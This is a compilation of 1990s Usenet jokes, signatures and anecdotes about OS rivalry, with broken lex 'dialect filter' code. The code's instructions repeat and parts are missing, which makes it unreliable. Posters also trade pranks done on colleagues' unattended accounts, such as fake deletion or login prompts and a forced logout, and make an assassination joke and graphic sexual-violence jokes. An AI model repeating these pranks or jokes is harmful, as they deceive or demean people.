/----------------------------------------------------------------------------| |The opinions expressed within this message are not those of my employer, CCI| \----------------------------------------------------------------------------/ Proofread carefully to see if you any words out. [reasons to choose OS/2 over LINUX/UNIX] 1. Does your setup involved more than two computers? 2. Does configuring sendmail fill you with anticipation, rather than dread? 3. Have you read the "UNIX Haters Handbook" and decided it was all bunk? 4. Have you avoided needing to use DOS or Windows apps? 5. Is Usenix the focal point of your social life? 6. Do you believe it's perfectly reasonable for all Interprocess Communication to go through the file system? 7. Do you write most of the software you use? 8. Do college students write most of the software you use? 9. Do expensive consultants write most of the software you use? 10. Does $3000 seem like a reasonable price for a typical shrink-wrapped software package? 11. Could you get a directory listing at a command prompt if "dir" didn't work? Subject : Re: MS lost WRITE source code in server crash ????? On 10 Jul 1995, Thomas Beagle wrote: > According to one MS staffer, the reason they didn't port it was that > Write is apparently made up of some rather horrendous hand-optimised > machine code. That explanation makes complete sense. After all, once MS discovered anyone doing any code optimization, they surely fired him/her, leaving them with no one who understood the code. --- * SLMR 2.1a * A TOYOTA backwards is still A TOYOTA ! "Think about the average person. Now, half the people out there, by definition, are even dumber than _that_." L. Ron Hubbard, allegedly Like "God giveth talent Microsoft taketh it" _.-----Douglas Jackson------Full time student, part time reprobate-----. _ // I will not be pushed, filed, stamped, indexed, briefed, debriefed | \X/ or numbered! My life is my own. - No.6 to No.2, "The Prisoner" | `---Email: smashcat@union4.su.swin.edu.au----944682@edna.cc.swin.edu.au---' Subject : Bill Gates != Physics Genius From a Windows 95 marketing blurb: "A world, some 40 thousand kilometres in circumference, circles its sun in a perfect sweep that takes 24 hours, precisely." ...um, it does? So, tomorrow it will be 1996? Win95: The World's First Chain Operating System (I broke the chain, and my whole family was killed in a tragic accident with a CD-ROM and a boomerang.) +--------------+-------------------------------+--------------------------+ | Jeff Medcalf | medcalf@interlock.dfw.ibm.com | I not only don't speak | | CTG-Dallas | JKMedcalf@aol.com | for IBM, I don't even | | | | KNOW who speaks for IBM. | +--------------+-------------------------------+--------------------------+ | Go not unto the USENET for counsel, for they will say both NO and YES | +-------------------------------------------------------------------------+ --------------------------------------------------------------------------- Opinions expressed / ROCK-IT SCIENCE Mobile Audio and Security do not necessarily /| ...the 1040 MIDI & Music BBS Technical Services reflect those of any [ SOUNDMAN !!TEAM-OS/2!! FidoNet 1:153/7040.106 marginally sane human \| !!TEAM-OS/2!! Internet mion@direct.ca being anywhere. \ FAX: (604)253-8312 DATA: (604)736-6330 --------------------------------------------------------------------------- ... Windows??? A very nice VGA demo, isn't it? * Silver Xpress V4.01 SW22963 --- Synchronet+SBBSecho v1.00 -- yakk@tartarus.uwa.edu.au yakk@ucc.gu.uwa.edu.au http://www.ucc.gu.uwa.edu.au/~yakk/ L O N G L I V E L O R D L I N U S ================================================================= Thomas Beck, Team OS/2 Switzerland e-mail: tombeck@usemail.com Things NOT to say during SEX: www.geopages.com/hollywood/1752 ================================================================= >: IMHO. It looks better than win3.1, but it's still rotten inside. ;-) >: It also seems to crash more easily. >: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >... than Win3.1? You must be joking. We used 3.11 for 2 weeks, 95 for two days. Guess which one crashed more often? -jm -- I'm not lazy - I'm only selectively motivated ---> http://www.jmp.fi/~jmarin/ <--- Andrew Grygus - California Republic ------------------------------------------- Resist Microsoft! (and government snooping) ******************** All cats die. Socrates is dead. Therefore Socrates is a cat. - Eugene Ionesco, Rhinoceros My cat's breath smells like cat food - Ralph Wiggum ******************** -- pyotr@halcyon.com Pyotr Filipivich, amongst others. When I was a boy, we had Outcome Based Education, too. We called it "Being held back a year" -- Joe Shamblin Give me UNIX or give me death. wjs@nando.net Systems Administrator work 919.836.5705 New Media Department (nando.net) http://www.nando.net "Rock music is mostly about moving big black boxes from one side of town to the other in the back of your car." -- Pere Ubu While waiting for the period end bell after PhysEd class (about '59) I pulled out an 8uf/600v capacitor with a fresh charge (they weighed about a pound back then). I presented it to one of the more athletic types and challenged him to touch the screw terminals. He had me turn the thing around a couple of times, than said (I remember his words like it was yesterday) "You can't fool me, that thing isn't plugged into anything" and applied an index finger to each contact. The bell rang, and I got the hell out of there while the getting was good. Andrew Grygus - California Republic ------------------------------------------------------------------ Resist Microsoft! (and bleeder resistors - they spoil all the fun) When cryptography is outlawed, bayl bhgynjf jvyy unir cevinpl. > Still not quite as easy as adding: > DEVICE=SOMENEWDEVICE.SYS Or, as I remember it, DEVICE=C:\DOS\LOADHIGH.SYS /INSTALL=64225 /LATER=39532 /UMB C:\SOMEDIR\SOMEFILE.SYS /A /B /C:030F /D /E13 /F /Gx /H /I:14 where at least two options are undocumented and at least ten tries is necessary in order to get it all right so Windows will work with it. --Arnt (dos-less since 1992) darsal@tezcat.com| ...depending, of course, on your |moc.taczet@lasrad ->>>Dave Salovesh| perspective |hsevolaS evaD<<<- Yonderboy. ----------------------===================> asuter@mentos.com WILL PROGRAM FOR FOOD. Kurt Duncan | Chief pinhead dinosaur | "Colloquially expressed, Security Electronics | in charge of enforcing | but essentially correct" Systems, Inc. | thread driftiness | - Spock > I think the original poster was mostly comparing to the Win* crowd. And > sure enough, NetBSD (free unix) is detectably faster than WinNT on > equivalent hardware. That wouldn't be hard to believe. From my experience (mostly in removing WinNT), just about anything is faster on the same hardware. ------------------------------------------------------------------------ Warren Ring / AB6QE | Columbus, Ohio | ring@hercules.cb.att.com Out the 10Base-T, through the router, down the T1, over the leased line, off the bridge, past the firewall... nothing but net. - Anon ------------------------------------------------------------------------ P.S.: It was very heartwarming --- she still used Word 5.0 (because it works and does everything she wanted), a 386 (same) and hates Windows or using a mouse at all! -- Tracy Nelson (tnelson@telesciences.com) // WARNING: May contain code which is too intense for young programmers... Disclaimer: Park and lock it. Not responsible! One day, I was using a set of diskettes. One of the diskettes was missing, so I turned to my friend and asked, "Where's 3 of 5?" He answered, "In the Borg collective?" Obviously, he was a big Star Trek fan. :) >: : participants in the Windows 95 Preview Program, suggesting that they were >: : in the category of early adopters or technology enthusiasts. At least >: : 20% of the Mac users in the study were selected from a list provided by >: : Microsoft. >: Personally, if they chose me for that test I'd be a smart ass like always >: and say things like "hey, where the hell is the emacs icon?", and "I >: think I'll go log in from another terminal closer to the coffee pot. What >: do you mean single user? You call this an OS?!", and probably "I don't >: like how this app works care if I recompile it? Huh, no sources?", and on >: and on until they banished me to eternal linux happiness forever. Andrew "Win NT, yesterday's technology, tomorrow" Jeanes "--or worse, it was Ottawa, they were Carleton students, God help us, they were Carleton film students..." Russell Smith,_How Insensitive_ http://journal.biology.carleton.ca/People/ajeanes One of my favorites is: RBCSO Error (ReBoot Computer and Slap Operator) char c[39],i,j;main(){srandom(time(0)/*/ Brendan McKeon /*/);for( ;i++<11;){for(j=39;j--;)printf((c[j]/*/ bmckeon@alf2.tcd.ie /*/=random ()%2)?"/ ":" \\");putchar('\n');for/*/ http://alf2.tcd.ie/~bmckeon /*/(j=39;j; )printf(c[--j]?" /":"\\ ");putchar/*/ /*/('\n');}} : Sorry. I just get annoyed by this. Anyhow, mentioning Microsloth by : their 'proper' name in a.f.c is forbidden. Mention them in a non-derogatory : manner, and Shub-Internet will immediately materialise out of your terminal : and wind your entrails out on a stick. Messy. Blood is a bitch to get out : of keyboards, too.. (ObAFC) You know you've been MS-OFFICING too long when you load up word, embed an object (a .WAV in my case), print it out and snail-mail it to a friend! Fortunately I managed to catch myself before the print stage so this never came to its embarrassing climax. >"And GOD created the World in 7 days - because there was no installed >base". It was six days. On the seventh He rested. Chris Thomas, ckt@best.com guess who's been debugging a Windoze95 box today? next person who whines about MacOS gets thrown off the top story of the nearest tall building. Netscape, when asked about a from the keyboard method of hitting hyperlinks didn't understand the question. (support: "just point with the mouse, and click". me: "No, without using a mouse, the machine doesn't have one" support: "you will have to get one" me: "it won't do any good, I can't move the thing" Support: "Oh" Me: "You do realize the style guide requires you to provide alternatives to the mouse" Support: "I see, Well I will note your comment".) I was told a story about a mainframe support guy who set his system up to boot from the printer. Just to spook the operators. Regards. Mel. Obnote: You know you have been messing on the unix to long when you see the name Greg Lemond and wonder what sort of daemon lemon is... >one) or simply as a phonetic spelling for PC? Furthermore, does a >personal computer equipped with Linux cease to be a "PeeCee"? This is simple. Look up the word "personal" in the dictionary, then look up "personal computer". I tend to classify a computer as either a "personal" or "multiuser" system based on it's capabilities. For example, a fully functional main battle tank, if used as a doghouse, remains a tank, does it not? By the same token, a multiuser system, even if used by only one person, is still a multiuser system. A Pentium 90 running dos/windoze is a "PeeCee". A Pentium 90 running Unix is a multitasking, multiuser network machine. ndows95 SUCKS SHIT (minion@Europa.com) wrote: : >You fucken lamerz. You don't know how many people I flame about : >bashing '95. And if this continues, I'll be forced to send you, and : >all of your OShitty/2 worshippin' assholes out there, 30 copies of : >Encyclopedia Britannica. : > : >Fire up the T3 Bob, a couple of assholes need 30 copies of Britannica. : Okay, asshole. If you're so fucking bold, why don't you try sending _ME_ : whatever you fucking well please. Oh, wait.....I guess I need to bash : Windows95 first, don't I. : Here goes... : IT'S BY FAR THE WORST FUCKING OS EVER WRITTEN. I'D RATHER USE A : SLIDE RULE AND A STICK IN THE SAND THEN DEGRADE MYSELF BY TURNING : ON A COMPUTER RUNNING IT. : P.S. I Don't have any experience with OS/2. I, in my ultimate wisdom, : use a MAC. : -- : Elevate the idiots to the command of the world. So can we triumph. -- "BGC: Because some of us believe women over 14 are still sexy." =--------- http://ucsu.colorado.edu/~cantrick/home.html -------------= *Ben Cantrick, diehard BGC otaku and Priss fan. ---> THE BGC DUBS SUCK! <---* *Why Mac? "When I want to spend 50% of my time fighting an OS, I'll use VMS."* ------------------------------------------------------------------------ Michael Heinz | There was once a man who claimed that nothing was true, mheinz@ssw.com | but he was later shown to be lying. - Douglas Adams +-------------------------------------------------------------------------+ | Mike "The Slink" Habicher -- Cambridge, Ontario, Canada | '92 CarlShad || | mhabiche@novice.uwaterloo.ca | Reality is only a concept. | Bye bye, || | Year 2 Chemical Engineering | Believe in dragons. | Shad MB! || +=============-- http://www.ccn.cs.dal.ca/~ac464/mfh1.html --=============+ + DISCLAIMER: Like anyone else would *dare* to think this way! + i know of MANY students who have never used a mac before they got here, but who will be loyal mac users for the rest of their lives. i use a mac because i like the ability to play with and customize a fun computer. if i wanted to learn an USEFUL platform for when i go out into the real world, i would learn unix. i just don't see where windoze fits into all this...the way they're going i'd be surprised if they didn't just copy more features from the mac os anyway. LIST 18168 12-15-95 07:54 8 MESS > geoffrey alexander (geoffrey@netins.net) wrote: > : You mean, HAL's got Intel Inside? Explains alot. > And on top of that: it's running Windows 2001..... :->>> Impossible. Win2001 (renamed 'Cicero' after Carl Sagan pre-emptively sued] won't be released until 2007, and the first bug-fix won't be released until the following year.... -- "I love Americans, but not when they try to talk French. What a blessing it is that they never try to talk English." +-------------- MODES OF CONTACT, OTHER USEFUL INFO ------------------+ TELEPATHIC: Ron Craig, Programmer in a Basement in North Carolina ELECTRONIC: craig.fpg@mhs.unc.edu, Ron_Craig@unc.edu, Craig@med.unc.edu TELEPHONIC: voice- (919) 966-3681 fax- (919) 966-7532 LETHARGIC: FPG Child Dev. Ctr., CB# 8180 UNC-CH, Chapel Hill NC 27599 BALLISTIC: 35.59'20"N 79.02'38"W LEGALISTIC: My opinions are valued by UNC, not shared by them. STATISTIC: 48.73% of what you read is opinion disguised by numbers __ __/// Michael Berg \\X/ mberg@datashopper.dk .. I went to the museum where they had all the heads and arms from the statues that are in all the other museums. > . . . . the best way >: to solve most netware problems is by following these steps: >: 1. Recite the the following incantation - Aww f**k, not again! >: 2. Do the dance - Run like hell to the machine room. >: 3. Wave a chicken over the server. >: 4. Reboot >: Seems pretty shaministic to me. The main difference is that a CNE will >: first try to remotely log into the server. After this fails they follow >: the above steps. > :-)) Do I have to use a live chicken or a deepfrozen one? > - Geertje (CNE, but not on Compuserve) > Fortunately, the Supreme Court has upheld our right to sacrifice chickens in religious rituals. Since we all know that Operating Systems, including Network Operating Systems, >>are<< religions (see postings in this newsgroup), we are in the clear. Now we must only judge the severity of the problem. It is obvious that a pre-sacrificed chicken is not going to be as effective as one done on site. Andrew Grygus - California Republic -------------------------------------------------------------------- Resist Microsoft! (no number of chickens will work on their stuff) -- You are in a maze of twisty little web pages, all pointless. There is a guy in comp.os.os2.advocacy running windows95 with 24MB of memory so that he can play games.... and he thinks that it would be better if he had 32MB. The world has gone mad. Someday software that is reliable and uses hardware efficiently may come back into fashion. However, I dont think we can call on microsoft for this. That Torvalds fellow seems to have the right idea :-} -- Begin -- This is the English-> foo filter. To compile: 1. Save everything between the lines into a file, call it foo.l 2. lex foo.l This will produce a file called lex.yy.c 3. cc -o foo lex.yy.c -ll This will produce a file called foo. 4. foo outfile to translate the text of infile and save it to outfile. foo "bork"/{NW} ECHO; "Bork"/{NW} ECHO; "an" { BEGIN INW; printf("un"); } "An" { BEGIN INW; printf("Un"); } "au" { BEGIN INW; printf("oo"); } "Au" { BEGIN INW; printf("Oo"); } "a"/{WC} { BEGIN INW; printf("e"); } "A"/{WC} { BEGIN INW; printf("E"); } "en"/{NW} { BEGIN INW; printf("ee"); } "ew" { BEGIN INW; printf("oo"); } "e"/{NW} { BEGIN INW; printf("e-a"); } "e" { BEGIN INW; printf("i"); } "E" { BEGIN INW; printf("I"); } "f" { BEGIN INW; printf("ff"); } "ir" { BEGIN INW; printf("ur"); } "i" { BEGIN INW; printf(i_seen++ ? "i" : "ee"); } "ow" { BEGIN INW; printf("oo"); } "o" { BEGIN INW; printf("oo"); } "O" { BEGIN INW; printf("Oo"); } "o" { BEGIN INW; printf("u"); } "the" { BEGIN INW; printf("zee"); } "The" { BEGIN INW; printf("Zee"); } "th"/{NW} { BEGIN INW; printf("t"); } "tion" { BEGIN INW; printf("shun"); } "u" { BEGIN INW; printf("oo"); } "U" { BEGIN INW; printf("Oo"); } "v" { BEGIN INW; printf("f"); } "V" { BEGIN INW; printf("F"); } "w" { BEGIN INW; printf("v"); } "W" { BEGIN INW; printf("V"); } . { BEGIN INW; ECHO; } --------------CUT HERE-------------------------- -- Begin -- This is the English-> foo filter. To compile: 1. Save everything between the lines into a file, call it foo.l 2. lex foo.l This will produce a file called lex.yy.c 3. cc -o foo lex.yy.c -ll This will produce a file called foo. 4. foo outfile to translate the text of infile and save it to outfile. foo foo filter. To compile: 1. Save everything between the lines into a file, call it foo.l 2. lex foo.l This will produce a file called lex.yy.c 3. cc -o foo lex.yy.c -ll This will produce a file called foo. 4. foo outfile to translate the text of infile and save it to outfile. foo , * who obviously had too much time on his hands. Based on the earlier * "jive" filter of unknown origin. * * ------------------------------------------------------------------------- * To build the B1FF filter, do the following: * * lex biff.l * cc -o biff lex.yy.c -ll * rm lex.yy.c * * Optionally replace lex and cc above with flex and gcc. * * To use the executable, pipe stuff to it; e.g., * * cat foo | biff * */ char buf[128]; int count = 0; %} %% " and " printf(" + "); " plus " printf(" + "); "you're" printf("YOUR"); your printf("UR"); "it's" printf("1TZ"); its printf("1T'Z"); here printf("HEAR"); hear printf("HERE"); "they're" printf("THE1R"); their printf("THERE"); there printf("THEY'RE"); was printf("WUZ"); etc printf("U GET THE 1DEA"); " are " printf(" R "); "be " printf("B "); before printf("B4"); " to " printf(" 2 "); this printf("TH1S"); like printf("LA1K"); total printf("TODAL"); "and I" printf("+ ME"); good printf("K00L"); okay printf("C00L"); ok printf("K00L"); interesting printf("C00L"); neat printf("K00L"); nifty printf("C00L"); useful printf("K00L"); great printf("RAD"); functional printf("RAD"); excellent printf("X-L-ENT"); very printf("TOTALLY"); quite printf("REAL"); really printf("REAL"); new printf("NU"); recent printf("RAD NU"); result printf("TH1NG"); ramification printf("TH1NG"); reason printf("TH1NG"); conclusion printf("TH1NG"); results printf("STUFF"); ramifications printf("STUFF"); reasons printf("STUFF"); conclusions printf("STUFF"); files printf("WAREZ"); program printf("GAME"); programs printf("WAREZ"); game printf("KRACKED GAME"); games printf("GAMEZ"); [Uu][Nn][Ii][Xx] printf("THE MANEFRA1M O/S"); [Dd][Oo][Ss] printf("THE VIC-20 TAPE DRIVE SCR1PTER"); disk printf("TAPE"); computer printf("VIC-20"); workstation printf("MANEFRA1M"); supercomputer printf("MANEFRA1M"); [Cc]ray printf("K1CKASS MANEFRA1M"); "Connection Machine" printf("TODALY RAD KOMPUTUR BRANE"); machine printf("VIC-20"); [Aa][Tt][Aa][Rr][Ii] printf("PEACE UV SH1T ATAR1"); [Aa][Pp][Pp][Ll][Ee] printf("PEACE UV SH1T APPEL"); [Mm]acintosh printf("MACK1NTRASH"); upload printf("U/L"); download printf("D/L"); load printf("U/L"); save printf("D/L"); send printf("U/L"); receive printf("D/L"); ftp printf("XMODEM"); buy printf("D/L"); [Pp]ascal printf("THAT WUSSY LANGUAGE"); [Ll]isp printf("THAT KOMPUTUR BRANE LANGUAGE"); [Ss]cheme printf("THAT TODAL NURD LANGUAGE"); [Aa]da printf("THAT K00L NU ARMY LANGUAGE"); [Pp]ost[Ss]cript printf("PRINTUR KODEZ"); [Aa]ssembly printf("CPU KODE"); [Aa]ssembler printf("CPU KODE"); newsgroup printf("MESSAGE BASE"); news printf("MESSAGES"); thread printf("BOARD"); [Uu]senet printf("THE MANEFRAIM BOARDZ"); [Nn]et[Nn]ews printf("THE BOARDZ"); fool printf("LUZER"); moron printf("LAMER"); idiot printf("LAMER"); jerk printf("HOZER"); dweeb printf("LUZER"); geek printf("HOZER"); nerd printf("LUZER"); " man " printf(" D00D "); " men " printf(" D00DZ "); woman printf("BABE"); women printf("BABEZ"); wife printf("BABE"); husband printf("LOVERD00D"); girlfriend printf("PEACE"); boyfriend printf("STUD"); girl printf("TODAL BABE"); person printf("D00D"); people printf("D00DZ"); friend printf("FRE1ND"); sure printf("SHUR"); "got to" printf("GOTTA"); "want to" printf("WANNA"); "have to" printf("HAFTA"); have printf("GOT"); "using" printf("UZE1NG"); " car " printf(" WHEELS "); " eat " printf(" NARF "); police printf("P1GZ"); from printf("FRUM"); human printf("D00D"); occasionally printf("SUMTIMZ"); whom printf("WHO"); whose printf("WHO'S"); who's printf("WHOSE"); "who is" printf("WHOSE"); "ought to" printf("OTTA"); "need to" printf("GOTTA"); "should" printf("OTTA"); "tonight" printf("2NITE"); together printf("2GETHR"); tomorrow printf("2MORROW"); food printf("PIZZA"); coke printf("MOUNTIN DOO"); pepsi printf("MOUNTIN DOO"); night printf("NITE"); " believe" printf(" TH1NK"); [a-z]":" { *(yytext+1) = ','; upcase(yytext); sprintf(buf, "%s L1KE:",yytext); printf(buf); } amateur printf("LAMER"); " of " printf(" UV "); what printf("WUT"); "meta" printf("ALT/CAPSLOCK"); "talk" printf("1NTERFACE"); "sort of" printf("SORTA"); "kind of" printf("K1NDA"); magazine printf("RAD MAG"); [dgmnr]"." { *(yytext+1) = 0; upcase(yytext); sprintf(buf, "%s!",yytext); printf(buf); } [efhkpst]"." { *(yytext+1) = 0; upcase(yytext); sprintf(buf, "%s,",yytext); printf(buf); } [bclw]"." { *(yytext+1) = 0; upcase(yytext); sprintf(buf, "%s...",yytext); printf(buf); } [a-e]"?" { upcase(yytext); printf(yytext); printf("?"); } [f-j]"?" { upcase(yytext); printf(yytext); printf("??"); } [k-o]"?" { upcase(yytext); printf(yytext); printf("!?1?"); } [p-t]"?" { upcase(yytext); printf(yytext); printf("!?1?!?"); } [u-z]"?" { upcase(yytext); printf(yytext); printf("?1?!?1?!"); } [a-e]"!" { upcase(yytext); printf(yytext); printf("!"); } f-j]"!" { upcase(yytext); printf(yytext); printf("!!"); } k-o]"!" { upcase(yytext); printf(yytext); printf("!1!"); } p-t]"!" { upcase(yytext); printf(yytext); printf("!!1!"); } u-z]"!" { upcase(yytext); printf(yytext); printf("!1!!1"); } ";" printf(","); "," printf(", LA1K,"); "'" ; [iI] { count++; if (count % 3 == 0) printf("1"); else printf("I"); } oo printf("00"); 0 printf("o"); "s " printf("Z "); "s." printf("Z."); cr printf("KR"); wr printf("R"); ate printf("8"); ait printf("8"); ame printf("A1M"); ain printf("ANE"); ade printf("AID"); four printf("4"); fore printf("4"); see printf("C"); seeing printf("CN"); you printf("U"); ude printf("00D"); ule printf("OOL"); ome printf("UM"); ose printf("UZE"); tion printf("SHUN"); mn printf("M"); kn printf("N"); er printf("UR"); em printf("UM"); ll printf("L"); . { upcase(yytext); printf(yytext); } \n printf("\n"); %% upcase(s) char *s; { while (*s) { if (islower(*s)) *s = toupper(*s); s++; } } main() { yylex(); } --------------CUT HERE-------------------------- -- End -- This is the English-> foo filter. To compile: 1. Save everything between the lines into a file, call it foo.l 2. lex foo.l This will produce a file called lex.yy.c 3. cc -o foo lex.yy.c -ll This will produce a file called foo. 4. foo outfile to translate the text of infile and save it to outfile. foo I have others, but this works the best. This message assembled from 100% recycled electrons (and pixels). Charlie_Gibbs@mindlink.bc.ca Shouldn't there be a shorter word for "monosyllabic"? dept of physics & astronomy, rutgers university pipe stress freak exit 9, new jersey turnpike, new jersey crystallography weenie -- John Goerzen, programmer and owner | MICRO$oft only exists because some Communications Centre & Complete BBS | people are too dumb to get something E-mail jgoerzen@complete.org | better, such as FreeBSD. Ian G. Bull Young ||Call me crazy, but I trust Bill Clinton | iyoung@alpha.wright.edu ||more than Bill Gates, Rush Limbaugh, _any_ | "The guy who tries to be ||of a number of religious cults, or a whole | funny, but everbody laughs at ||whorde of crypto-anarchist militiamen. | In a nutshell... 1) Linux beats everybody with single tasks 2) FreeBSD does better with multiple tasks or under heavy load 3) FreeBSD runs Linux binaries, so Linux software will run under FreeBSD 4) FreeBSD's networking code is newer and much less buggy 5) Linux has more manuals specifically for it 6) There are more general Unix manuals, and specifically BSD manuals that apply to FreeBSD as well. 7) Linux is more popular 8) FreeBSD is written more for stability and multi-user performance, Linux is designed to be fast with a single user and tries to have all the latest software, at the expense of stability and reliability. 9) Linux will run DOS programs much better than FreeBSD 10) Everything beats Windows :-) Rusty Spoon hrspoon@timewarp.uncg.edu hrspoon@uncg.edu NO, I'M NOT AN ELITIST...WHY DO YOU ASK, PEASANT? IrepeatmyselfwhenunderstressIrepeatmyselfwhenunderstressI... >Yeah, last night I was at a party and a friend was telling >me about the problems he was having with the spell checker >on his word processor (he uses an Amstrad PCW), and /he/ >kept refering to the disks as tapes... I remember a user ringing up the support desk to thank us for sending her the floppies - but she had a problem with them. We'd told her to insert the four enclosed disks, but she couldn't get more than two in the drive at once. Exam nightmares: I am in my forties but still have the English Literature exam nightmare - where I spend the entire exam trying to spell "literature" at the top of the page. Exam realities: During my last maths exam (about 8 years back), I a) woke myself up worrying how to work out the square root of a toilet roll b) was found crawling around the floor in my sleep, looking for x Paul Tomblin (ptomblin@canoe.com) My home page "While you're waiting, read the free novel we sent you. It's a Spanish story about a guy named `Manual'" - Dilbert Mike - mikemc@macshack.com - Home of the JEO-Counter, graphic WWW counter /---------------------------------------\ My opinions belong to me, | Visit us at http://www.macshack.com | myself and I, not my employer, \......................................./ the government or my wife...:) : Come to think of it, I have not seen a copy of Warp in any store I have : been in for over 6 months. Win95 is everywhere. Oh, Warp is there I am : sure, but tucked away neatly in its own little shelf-space. You noticed that too, huh? All those forlorn looking W95 boxes sitting on the shelves, collecting dust and pleading "Please buy me! Please! Please! Those installation horror stories? Lies! Every last one of them! Pl.. wait! where are you going? Don't walk away..." Can't someone put these lonely, pathetic things out of their misery? Please? It's the only humane thing to do... >In article <4b5b6c$517@ixnews1.ix.netcom.com>, IAIN'T@TELLIN.YOU (HOSER) >> ^^^^^^^^^^^^^^^^^^^^^ >working?) so, as a favor to those reading your post, please turn it off? >I won't even comment on the content. You have to excuse Netcom users. He might be a little ticked that his internet access is worse than that of the big three online services. Or maybe he doesn't understand that UNIX happens to log who sends a message (or at least, from where it comes). All these little Win95 fanatics getting all angry at OS/2 and UNIX users. Tsk, tsk, tsk. Little do they know that Win95 is Gates's way of jerking Windows users around on a chain. Next year, they'll all be bragging about their brand new copy of NT that cost them another grand in upgrades to use. ------- Steve Mading. -------- Poor programming style and excelent programming style are more alike than they are different. The same 'tricks' that make programs totally incomprehensable can, in the proper hands, be used to greatly streamline and simplify the program flow. Hence the only way to avoid poor programming is to also avoid good programming - damning your programmers to mediocrity. Subject : Re: Neat error messages Here's on I received today at work: rcp: protocol screwup: unexpected That was from a DEC OSF/1 server (aka Digital UNIX) your Comp Sci program usually teaches people to write unmaintainable, one-shot, non-extensible, quick-turnaround programs. oh yay. if I _wanted_ a microsoft programmer, I'd go hire one. Truth in Advertising? The intersection of Bourke Street and Swanston Walk in Melbourne, Australia, has been dominated for the past few months by a gigantic advertisement for Windows 95. Many regard it as an eyesore but, amidst all the hype, it just could be one of the more-accurate Microsoft ads. Right in front of the advertisement is a sculpture of a flying pig! The pig-with-wings is one of four sculptures in the "Weathervane" series by Melbourne sculptor, Daniel Jenkins. It represents "hope for the future" but Jenkins admits it might be a forlorn hope of the "I'll believe it when I see it" variety. So you can interpret the accidental juxtaposition however you wish - "if Windows 95 is a real operating system then pigs might fly" or "a pig of an operating system CAN fly as long as it has at least 16 MBytes of RAM and a 100 MHz Pentium" and so on ... The image is being posted to alt.binaries.pictures.misc and will also be available at: http://www.rdt.monash.edu.au/~ran/micro-pig.gif and the full caption at: http://www.rdt.monash.edu.au/~ran/micro-pig.txt Ralphe Neill > : >astrologers. Some are fabulously effective, some are a yawn, some are > : to solve most netware problems is by following these steps: > : 1. Recite the the following incantation - Aww f**k, not again! > : 2. Do the dance - Run like hell to the machine room. > : 3. Wave a chicken over the server. > : 4. Reboot > :-)) Do I have to use a live chicken or a deepfrozen one? Fresh, plucked chickens work the best. Save the feathers, though. They're used during Software ceremonies. Holy Water on the CPU is a no-no, however. And I've found that the dance works best under a full moon near a blazing fire. Tim Newsome. drz@cybercomm.net. http://www.cybercomm.net/~drz/. HotJava rules. Pretending to work is almost as hard as the real thing. Linux > Windows. question=(be||!be); answer=42; hack!=crack; IRC=fun; cogite ergo rideo. 1+1=3 for large values of 1. CMU here I come! NO CARRIER > > "In the beginning there was darkness, and the darkness was without form, > > and void. And Gates said "Let There Be Light", and there was a General > > Protection Fault." Ben Hutchings, student. Finger me on worc0223@sable.ox.ac.uk for various info. email: benjamin.hutchings@worc.ox.ac.uk WWW: http://sable.ox.ac.uk/~worc0223/ Users of the world unite! You have nothing to lose but your Micro$oft software >> - "Winsock is performing illegal acts" (I think john handled this one) >Theft, Robbery, Assault, Solicitaion.... I sentence it to five life sentences, to run concurrently. Oh, wait -- this is Winsock. Nothing can run concurrent with Winsock. Or with anything that starts with the three letters "win" for that matter. I guess that'll have to be 5 consecutive life sentences. Actually, if I was fabulously wealthy, I'd probably do something more globally productive first, like have Bill Gates assasinated. >A couple of days ago I got a call on my direct line.... > >(gah. time to take my name out of the phonemail system) > >User: "I have a problem with Usenet news..." > >Me : "Um, sir, you shouldn't be calling me in the first place, send mail > to support--" > >User: "But this is *very* important, and may be affecting a lot of > subscribers! Please listen to me" > >Me : (Well, he *did* say please) "Okay, what's the problem?" > >User: "There's nothing interesting on Usenet. It's all mindless crap, > and as one of the larger Internet providers, you *must* take liability > for this!" > >AIEEEEEEE! This is the point where I transferred it to one of the more >diplomatic types, before I took the airhorn and placed it too close to >the phone. Well, I suppose it makes a pleasant change from the ones who think you should be held responsible if they read/see something that offends them. People like that make me want to force them to fellate a lit blow-torch whilst being arsefucked by a pneumatic drill with a prosthetic hedgehog on the tip. Note: If you're offended by the above then you know what you can do... > Hedgehog? Howabout a titanium porcupine covered in steel wool, >vinegar, salt and lemon juice? > Ahem. For canonicity's sake, I must include: 12 feet of wrought iron fencing... and NO LUBRICANT!!! (Funny how I thought vinegar, salt and lemon juice qualified as... oh, never mind. Down, not across.) - Matt (hennessy@cloud9.net) Another thing that used to happen is some dozy pleb typing the entirity > of his mail message into the "To:" line; the words would then get sorted > into alphabetical order, and you can bet that one of the words was "all". > It was great fun trying to reconstruct the message. > Nobody at Aber ever puts all the message into the To: header, although some have been known to put it in the subject: header or put the subject in the Cc: header. The last instance is the more amusing: Cc: The@MISSING-HOST-NAME.,musings@MISSING-HOST-NAME., of@MISSING-HOST-NAME.,a@MISSING-HOST-NAME., undergraduate@MISSING-HOST-NAME. > Hehe, that reminds me of the fellow sysadm that was very surprised > (and for some reason, quite pissed) when his prompt had transmogrified > into "C:>". Set prompt of one of my cow-orkers to: "Alert! Breach of system security. All files deleted." He comes barrelling into my office and says; "Rob, I think I've just crashed the system." Teach him for turning 30 that day. >>Probably the best one was changing their prompt to: >> >>"Login incorrect. >>login:" >> >>though. And no-one ever seemed to realise that all the "Command not found." >>messages scrolling up the screen might mean something... > >I like that one! Back a few years, most undergrad accounts were on a VMS >machine (Arrrrrrrrgh!). We used to change the prompt to > >%DCL-W-IVVERB, unrecognized command verb - check validity and spelling >$ > >or > >%DCL-A-ACCVIOL, account privilege violation >-RMS-F-DEV, device self destruct initiated >$ > >(or something like that - it's amazing how many people will actually take it >seriously). > >What kind people you were, then! We started out doing that, but swiftly > >graduated to, e.g. putting sarcastic message in their .login ("Hello. This is > >the new user-friendly interface of the SunOS 4.1.3 operating system..."), > >aliasing "ls" to "echo .\n..\n.login\n.cshrc\n"[1], to putting "logout" as > the > >first command in their .login. > > There goes the coffee out the nose again.... > > >Probably the best one was changing their prompt to: > > > >"Login incorrect. > >login:" > > > >though. And no-one ever seemed to realise that all the "Command not found." > >messages scrolling up the screen might mean something... > All these are wonderful ideas, but unfortunately most people who are brainless enough to leave their computers turned on also NEVER use the UNIX terminal emulators, and use nothing but MS-Windoze :( Anyone got anything that could be done within the Windoze enviroment that they might notice and remind them not to do it again in a hurry? > Anyone got anything that could be done within the Windoze enviroment that >they might notice and remind them not to do it again in a hurry? What I find works really well (and confuses the hell out of people) is to reverse the mouse buttons ("Swap L/R Buttons" checkbox in mouse control panel). "Why won't this mouse click on 